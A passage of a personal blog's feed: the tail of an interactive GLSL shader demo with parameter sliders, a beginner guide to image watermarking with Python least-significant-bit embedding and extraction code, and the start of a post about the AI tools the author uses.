      gap: 0.9rem;
      padding: 0.9rem;
      border: 1px solid var(--border);
      border-radius: var(--standard-border-radius);
      background: var(--accent-bg);
      margin: 0.8rem 0;
    }

    .slider-block {
      display: flex;
      flex-direction: column;
      align-items: start;
      gap: 0.35rem;
      padding: 0.5rem 0.6rem;
      border: 1px dashed color-mix(in srgb, var(--border) 75%, transparent);
      border-radius: var(--standard-border-radius);
      background: color-mix(in srgb, var(--accent-bg) 92%, var(--bg));
    }

    .slider-block input[type="range"] {
      width: 100%;
      appearance: none;
      -webkit-appearance: none;
      background: transparent;
      margin: 0.1rem 0 0;
    }

    .label-row {
      display: flex;
      justify-content: space-between;
      width: 100%;
      align-items: baseline;
      gap: 0.5rem;
    }

    .label-row h4 {
      margin: 0;
      font-size: 0.95rem;
      font-weight: 600;
      color: var(--text);
    }

    .slider-block span {
      font-size: 0.86rem;
      color: var(--text-light);
    }

    .slider-block input[type="range"]::-webkit-slider-runnable-track {
      height: 0.4rem;
      border-radius: 999px;
      background: color-mix(in srgb, var(--accent) 28%, var(--accent-bg));
      border: 1px solid color-mix(in srgb, var(--border) 85%, transparent);
    }

    .slider-block input[type="range"]::-webkit-slider-thumb {
      -webkit-appearance: none;
      width: 0.95rem;
      height: 0.95rem;
      margin-top: -0.33rem;
      border-radius: 50%;
      background: var(--accent);
      border: 1px solid var(--accent-hover);
      box-shadow: 0 0 0 2px var(--accent-bg);
      cursor: pointer;
    }

    .slider-block input[type="range"]::-moz-range-track {
      height: 0.4rem;
      border-radius: 999px;
      background: color-mix(in srgb, var(--accent) 28%, var(--accent-bg));
      border: 1px solid color-mix(in srgb, var(--border) 85%, transparent);
    }

    .slider-block input[type="range"]::-moz-range-thumb {
      width: 0.95rem;
      height: 0.95rem;
      border-radius: 50%;
      background: var(--accent);
      border: 1px solid var(--accent-hover);
      box-shadow: 0 0 0 2px var(--accent-bg);
      cursor: pointer;
    }

    .slider-block input[type="range"]:focus-visible {
      outline: none;
    }

    .slider-block input[type="range"]:focus-visible::-webkit-slider-thumb {
      box-shadow: 0 0 0 2px var(--accent-bg), 0 0 0 4px color-mix(in srgb, var(--accent) 35%, transparent);
    }

    .slider-block input[type="range"]:focus-visible::-moz-range-thumb {
      box-shadow: 0 0 0 2px var(--accent-bg), 0 0 0 4px color-mix(in srgb, var(--accent) 35%, transparent);
    }

    @media (max-width: 720px) {
      .grid-container {
        grid-template-columns: 1fr;
      }
    }
  </style>




<div class="grid-container">
  
  <div class="slider-block">
    <div class="label-row">
        <h4>Width</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="0.1" id="widthSlider" style="width:50%;">
    <span id="widthValue">0.1</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Distance</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="0.5" id="distanceSlider" style="width:50%;">
    <span id="distanceValue">0.5</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Blur</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="0.7" id="blurSlider" style="width:50%;">
    <span id="blurValue">0.7</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Repetition</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="1.0" id="repetitionSlider" style="width:50%;">
    <span id="repetitionValue">1.0</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Multiply</h4>
    </div>
    <input type="range" min="0.1" max="0.9" step="0.1" value="0.15" id="multiplySlider" style="width:50%;">
    <span id="multiplyValue">0.15</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Exponent</h4>
    </div>
    <input type="range" min="1" max="10" step="1" value="1" id="exponentSlider" style="width:50%;">
    <span id="exponentValue">1</span>
  </div>
  <div class="slider-block">
    <div class="label-row">
        <h4>Points</h4>
    </div>
    <input type="range" min="0" max="10" step="1" value="5" id="pointsSlider" style="width:50%;">
    <span id="pointsValue">5</span>
  </div>
</div>



<canvas id="shaderCanvas" style="display:block; width:100%; height:500px;"></canvas>
<noscript>
  <p>This interactive shader demo requires JavaScript. The GLSL source code is shown above.</p>
</noscript>

<script>
const canvas = document.getElementById("shaderCanvas");
const editor = document.getElementById("shaderEditor");

const widthSlider = document.getElementById("widthSlider");
const distanceSlider = document.getElementById("distanceSlider");
const blurSlider = document.getElementById("blurSlider");
const repetitionSlider = document.getElementById("repetitionSlider");
const multiplySlider = document.getElementById("multiplySlider");
const exponentSlider = document.getElementById("exponentSlider");
const pointsSlider = document.getElementById("pointsSlider");

const widthValue = document.getElementById("widthValue");
const distanceValue = document.getElementById("distanceValue");
const blurValue = document.getElementById("blurValue");
const repetitionValue = document.getElementById("repetitionValue");
const multiplyValue = document.getElementById("multiplyValue");
const exponentValue = document.getElementById("exponentValue");
const pointsValue = document.getElementById("pointsValue");

if (!window.GlslCanvas) {
  console.error("GlslCanvas failed to load. Check CDN/network access.");
  canvas.outerHTML = '<p>Interactive shader preview is unavailable right now. The GLSL source code is still available above.</p>';
} else {
  const sandbox = new GlslCanvas(canvas);

function resizeCanvasToCSSSize() {
    const displayWidth = canvas.clientWidth;
    const displayHeight = canvas.clientHeight;

    
    if (canvas.width !== displayWidth || canvas.height !== displayHeight) {
      canvas.width = displayWidth;
      canvas.height = displayHeight;
    }
  }


resizeCanvasToCSSSize();
sandbox.load(editor.value);
editor.addEventListener("input", () => {
    sandbox.load(editor.value);
});

widthSlider.oninput = function () {
  widthValue.textContent = this.value;
  editor.value = editor.value.replace(/float width = [0-9]*\.[0-9]*/g, `float width = ${this.value}`);
  sandbox.load(editor.value);
}

distanceSlider.oninput = function () {
  distanceValue.textContent = this.value;
  editor.value = editor.value.replace(/float dis = [0-9]*\.[0-9]*/g, `float dis = ${this.value}`);
  sandbox.load(editor.value);
}

blurSlider.oninput = function () {
  blurValue.textContent = this.value;
  editor.value = editor.value.replace(/float blur = [0-9]*\.[0-9]*/g, `float blur = ${this.value}`);
  sandbox.load(editor.value);
}

repetitionSlider.oninput = function () {
  repetitionValue.textContent = this.value;
  editor.value = editor.value.replace(/float rep = [0-9]*\.[0-9]*/g, `float rep = ${this.value}`);
  sandbox.load(editor.value);
}

multiplySlider.oninput = function () {
  multiplyValue.textContent = this.value;
  editor.value = editor.value.replace(/float mul = [0-9]*\.[0-9]*/g, `float mul = ${this.value}`);
  sandbox.load(editor.value);
}

exponentSlider.oninput = function () {
  exponentValue.textContent = this.value;
  editor.value = editor.value.replace(/float ex = [0-9]*/g, `float ex = ${this.value}`);
  sandbox.load(editor.value);
}

pointsSlider.oninput = function () {
  pointsValue.textContent = this.value;
  editor.value = editor.value.replace(/float points = [0-9]*/g, `float points = ${this.value}`);
  sandbox.load(editor.value);
}
}

</script>

<h3 id="original-shader">Original Shader</h3>
<p><a href="https://www.shadertoy.com/view/Wct3zX">https://www.shadertoy.com/view/Wct3zX</a></p>
]]></content:encoded></item><item><title>Intro to Image Watermarking</title><link>https://michaelmuratov.com/blog/artifacts/guides/intro-image-watermarking/</link><pubDate>Sun, 25 May 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/intro-image-watermarking/</guid><description>&lt;h3 id="intro-to-image-watermarking"&gt;Intro to Image Watermarking&lt;/h3&gt;
&lt;p&gt;Watermarking is a technique used to embed information into an image, which can be used for various purposes such as copyright protection, authentication, or non-repudiation. In this guide, we will explore the basics of image watermarking and how you can implement it in your projects.&lt;/p&gt;
&lt;h4 id="why-use-watermarking"&gt;Why Use Watermarking?&lt;/h4&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition task"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"&gt;&lt;path d="M152.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 113C-2.3 103.6-2.3 88.4 7 79s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM224 96c0-17.7 14.3-32 32-32l224 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-224 0c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32l224 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-224 0c-17.7 0-32-14.3-32-32zM160 416c0-17.7 14.3-32 32-32l288 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-288 0c-17.7 0-32-14.3-32-32zM48 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"/&gt;&lt;/svg&gt;
&lt;span&gt;Watermarking serves several purposes:&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;strong&gt;Copyright protection:&lt;/strong&gt;&lt;br&gt;
Watermarks can help protect your images from unauthorized use by clearly indicating ownership.&lt;/p&gt;</description><content:encoded><![CDATA[<h3 id="intro-to-image-watermarking">Intro to Image Watermarking</h3>
<p>Watermarking is a technique used to embed information into an image, which can be used for various purposes such as copyright protection, authentication, or non-repudiation. In this guide, we will explore the basics of image watermarking and how you can implement it in your projects.</p>
<h4 id="why-use-watermarking">Why Use Watermarking?</h4>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition task">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M152.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 113C-2.3 103.6-2.3 88.4 7 79s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L7 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM224 96c0-17.7 14.3-32 32-32l224 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-224 0c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32l224 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-224 0c-17.7 0-32-14.3-32-32zM160 416c0-17.7 14.3-32 32-32l288 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-288 0c-17.7 0-32-14.3-32-32zM48 368a48 48 0 1 1 0 96 48 48 0 1 1 0-96z"/></svg>
      <span>Watermarking serves several purposes:</span>
    </div>
      <div class="admonition-content">
        <p><strong>Copyright protection:</strong><br>
Watermarks can help protect your images from unauthorized use by clearly indicating ownership.</p>
<p><strong>Authentication:</strong><br>
Watermarks can be used to verify the authenticity of an image, ensuring that it has not been tampered with.</p>
<p><strong>Branding:</strong><br>
Adding a logo or signature to your images can help promote your brand and increase recognition.</p>
<p><strong>Non-repudiation:</strong><br>
Watermarks can provide proof of ownership or authorship, making it difficult for others to deny their use of the image.</p>
      </div>
  </div><h4 id="basic-techniques-for-watermarking">Basic Techniques for Watermarking</h4>
<h5 id="1-visible-watermarking">1. Visible Watermarking</h5>
<p>One of the simplest methods of watermarking is to alter the pixel values of an image. This is usually done for copyright protection or branding purposes. The watermark can be a logo, text, or any other image that is blended with the original image. This type of watermarking is immediately noticeable and can be readily removed by someone with image editing skills, but it serves as a visible deterrent against unauthorized use.</p>

<div><img src="shutterstock_watermark.jpg" 
		 class="img-preset img-preset-md img-fluid" alt="Prompting Flow">
</div>

<h5 id="2-least-significant-bit-lsb-insertion">2. Least Significant Bit (LSB) Insertion</h5>
<p>Least significant bit insertion is a subset of steganography where a hidden message is imbedded into an image to bypass detection. The simplest method involves modifying the least significant bits (LSBs) of pixel values, which allows for a more robust and imperceptible watermark.</p>

<div><img src="lsb.png" 
		 class="img-preset img-preset-md">
</div>

<h5 id="3-frequency-domain-manipulation">3. Frequency Domain Manipulation</h5>
<p>This method involves transforming the image into the frequency domain using techniques like the Discrete Cosine Transform (DCT) or Discrete Wavelet Transform (DWT). Watermarks can then be embedded in the frequency coefficients, which are not visible to the human eye.</p>
<p>These techniques are more complex but provide better security and robustness against attacks such as cropping, resizing, or compression. We will cover the DWT in a more advanced quide.</p>

<div><img src="dwt.png" 
		 class="img-preset img-preset-md img-fluid">

	<figcaption style="margin:0px;" class="figure-caption">
		https://www.intechopen.com/chapters/18615
	</figcaption>
</div>

<h3 id="least-significant-bit-watermarking">Least Significant Bit Watermarking</h3>
<p>To implement the simplest form of invisible watermarking in your images, you can use the cv2 library in Python to read in the image and modify the last bits of each pixel.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">cv2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">def</span> <span class="nf">embed_lsb</span><span class="p">(</span><span class="n">image_path</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">output_path</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">image</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">image_path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">flat</span> <span class="o">=</span> <span class="n">image</span><span class="o">.</span><span class="n">flatten</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="c1"># Convert message to binary</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">bits</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="nb">format</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">),</span> <span class="s1">&#39;08b&#39;</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">message</span><span class="p">])</span> <span class="o">+</span> <span class="s1">&#39;00000000&#39;</span>  <span class="c1"># Null terminator</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">bits</span><span class="p">)):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="n">flat</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">flat</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mi">1</span><span class="p">)</span> <span class="o">|</span> <span class="nb">int</span><span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>  <span class="c1"># Set LSB</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">watermarked</span> <span class="o">=</span> <span class="n">flat</span><span class="o">.</span><span class="n">reshape</span><span class="p">(</span><span class="n">image</span><span class="o">.</span><span class="n">shape</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">cv2</span><span class="o">.</span><span class="n">imwrite</span><span class="p">(</span><span class="n">output_path</span><span class="p">,</span> <span class="n">watermarked</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">def</span> <span class="nf">extract_lsb</span><span class="p">(</span><span class="n">image_path</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="c1"># Load image and flatten to 1D array</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">image</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">image_path</span><span class="p">)</span><span class="o">.</span><span class="n">flatten</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">bits</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">image</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="n">bits</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">byte</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span>  <span class="c1"># Get LSB</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="c1"># Check every 8 bits for null terminator</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="n">char</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="o">-</span><span class="mi">8</span><span class="p">:],</span> <span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">            <span class="k">if</span> <span class="n">char</span> <span class="o">==</span> <span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="c1"># Convert full bitstring to characters (excluding null terminator)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">message</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">],</span> <span class="mi">2</span><span class="p">))</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">return</span> <span class="n">message</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="c1"># Example usage</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="n">embed_lsb</span><span class="p">(</span><span class="s2">&#34;image.png&#34;</span><span class="p">,</span> <span class="s2">&#34;Secret Watermark&#34;</span><span class="p">,</span> <span class="s2">&#34;output.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="n">message</span> <span class="o">=</span> <span class="n">extract_lsb</span><span class="p">(</span><span class="s2">&#34;image.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Extracted message:&#34;</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="n">message</span> <span class="o">=</span> <span class="n">extract_lsb</span><span class="p">(</span><span class="s2">&#34;output.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Extracted message:&#34;</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span></span></span></code></pre></div>
<p>The <code>embed_lsb</code> function will take an image, a message, and an output path to save the watermarked image. The <code>extract_lsb</code> function will read the watermarked image and extract the hidden message. There are simpler was of doing this such as using a dedicated steganography library like <code>stegano</code>, but this example shows how you can implement it from scratch.</p>
<h4 id="stegano-code-example">Stegano Code Example</h4>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">stegano</span> <span class="kn">import</span> <span class="n">lsb</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">def</span> <span class="nf">embed_message</span><span class="p">(</span><span class="n">image_path</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">output_path</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="c1"># Embed the message in the image</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">watermarked_image</span> <span class="o">=</span> <span class="n">lsb</span><span class="o">.</span><span class="n">hide</span><span class="p">(</span><span class="n">image_path</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">watermarked_image</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">output_path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">def</span> <span class="nf">extract_message</span><span class="p">(</span><span class="n">image_path</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="c1"># Extract the message from the image</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">return</span> <span class="n">lsb</span><span class="o">.</span><span class="n">reveal</span><span class="p">(</span><span class="n">image_path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">embed_message</span><span class="p">(</span><span class="s2">&#34;image.png&#34;</span><span class="p">,</span> <span class="s2">&#34;Secret Watermark&#34;</span><span class="p">,</span> <span class="s2">&#34;watermarked_image.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">message</span> <span class="o">=</span> <span class="n">extract_message</span><span class="p">(</span><span class="s2">&#34;watermarked_image.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Extracted message:&#34;</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span></span></span></code></pre></div>
<p>This is a much simpler way to achieve the same result and it abstracts away the details of how the LSB is manipulated. The <code>stegano</code> library handles the encoding and decoding of messages in images, making it easier to implement watermarking without needing to understand the underlying pixel manipulation. There are also other modules within stegano that allow for more complex watermarking techniques, such as using different color channels or even embedding multiple messages.</p>
<h3 id="watermarking-example">Watermarking Example</h3>








<div style="
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  gap: 1.5rem;
  align-items: start;
">
 


<div><img src="portrait.png" 
		 class="img-preset img-preset-md img-fluid">

	<figcaption style="margin:0px;" class="figure-caption">
		Original Image
	</figcaption>
</div>



<div><img src="watermarked_portrait.png" 
		 class="img-preset img-preset-md img-fluid">

	<figcaption style="margin:0px;" class="figure-caption">
		Watermarked Image
	</figcaption>
</div>



</div>

<h3 id="reading-the-watermark">Reading the Watermark</h3>
<p>To read the watermark from an image, you can reverse the process by extracting the pixel values or frequency coefficients where the watermark was embedded. This can be done using similar libraries and techniques as mentioned above.</p>
<h4 id="using-the-extract_lsb-function">Using the <code>extract_lsb</code> function</h4>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Results</span>
    </div>
      <div class="admonition-content">
        <p><strong>Original Image Text:</strong><br>
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ</p>
<p><strong>Watermarked Image Text:</strong><br>
Secret Watermark</p>
      </div>
  </div>]]></content:encoded></item><item><title>AI Tools I'm Using Right Now</title><link>https://michaelmuratov.com/blog/artifacts/notes/ai-tools-using-now/</link><pubDate>Fri, 16 May 2025 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/notes/ai-tools-using-now/</guid><description>&lt;h3 id="chatgpt"&gt;ChatGPT&lt;/h3&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Context&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;I&amp;rsquo;ve been using ChatGPT since it came out in &lt;code&gt;late 2022&lt;/code&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<h3 id="chatgpt">ChatGPT</h3>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Context</span>
    </div>
      <div class="admonition-content">
        <p>I&rsquo;ve been using ChatGPT since it came out in <code>late 2022</code></p>
      </div>
  </div><p>I first caught the wave of excitement over the limited release of GPT3.5 (aka ChatGPT), a language model that was surprisingly good at generating text. Back then the use case was simple, I gave it ridiculous story premises to see what it could generate. I had a great time reading these stories with friends and we&rsquo;d all laugh at how funny and interesting they were. I had very little foresight as to how much things would change. I thought it would be a short term beta, with limited release and invite only access. I had no sense of how permanent it would become.</p>
<p>Since then my usage of ChatGPT has evolved over time, influenced by the gradual improvement of the models, and the exploration of their limits. I love it for surfacing up new ideas, writing short code snippets, and exploring hypotheticals. The versatility of ChatGPT is what keeps me coming back to it as the go-to chatbot. As long as OpenAI keeps innovating on features that enhance the already powerful language model, I expect I will keep coming back to it for most of my needs.</p>
<h3 id="copilot">Copilot</h3>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
